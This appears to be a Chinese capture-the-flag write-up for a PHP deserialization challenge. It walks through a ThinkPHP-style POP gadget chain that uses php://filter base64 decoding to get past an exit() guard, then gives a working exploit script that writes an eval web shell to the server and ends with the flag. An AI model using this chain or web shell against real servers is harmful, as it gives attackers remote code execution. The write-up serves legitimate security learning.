$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
|
反序列化，构造pop链即可。
A存在__destruct方法，所以肯定是反序列化A。当A::autosave==false成立时，调用A::save()。
A::save()中调用了A::store->set()，将A::store赋值为一个B对象，即可调用B::set()。
B::set()可以写入文件，且文件名（以及路径）和文件内容后半部分可控。文件内容前半部分中，存在一个exit()，会导致写入的webshell无法执行。
利用base64_decode以及php://filter可以绕过。
参照ph牛的blog：谈一谈php://filter的妙用
php中的base64_decode函数会将不合法字符全部舍弃， 将合法字符组成一个新的字符串进行解码，利用这一点即可达到bypass的目的。
通过php://filter/write=convert.base64-decode将文件内容解码后写入，bypass exit。
然后回溯看看$filename和$data是怎么处理的。
$filename：
80行调用B::getCacheKey($name)，在B::getCacheKey($name)中拼接字符串$this->options['prefix'].$name构成filename。
$data：
99行拼接前半部分，通过上面的方法bypass。
94行的分支可以不进入，92行调用B::serialize($value),$value是B::set($name, $value, $expire = null)的参数。
B::serialize($value)调用B::options['serialize']()处理了$value。
再看$value：
$value实际是A::getForStorage()的返回值。A::getForStorage()返回json_encode([A::cleanContents(A::cache), A::complete]);。
A::cleanContents(A::cache)实现了一个过滤的功能，A::complete更容易控制，直接写为shellcode。
由于$value是一个json字符串，然后，json字符串的字符均不是base64合法字符，通过base64_decode可以直接从json中提取出shellcode。
所以将shellcode经过base64编码，B::options['serialize']赋值为base64_decode。
exp：
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| <?php
$b = new B();
$b->options = array('serialize' => "base64_decode", 'data_compress' => false);
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/.jingzhe";
$b->writeTimes = 0;
$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = base64_encode("qaq" . base64_encode('<?php @eval($_POST["jingzhe"]);?>'));
echo urlencode(serialize($a));
|
getshell后直接读取flag即可。
flag: flag{thinkphp_6.0_pop_gadget}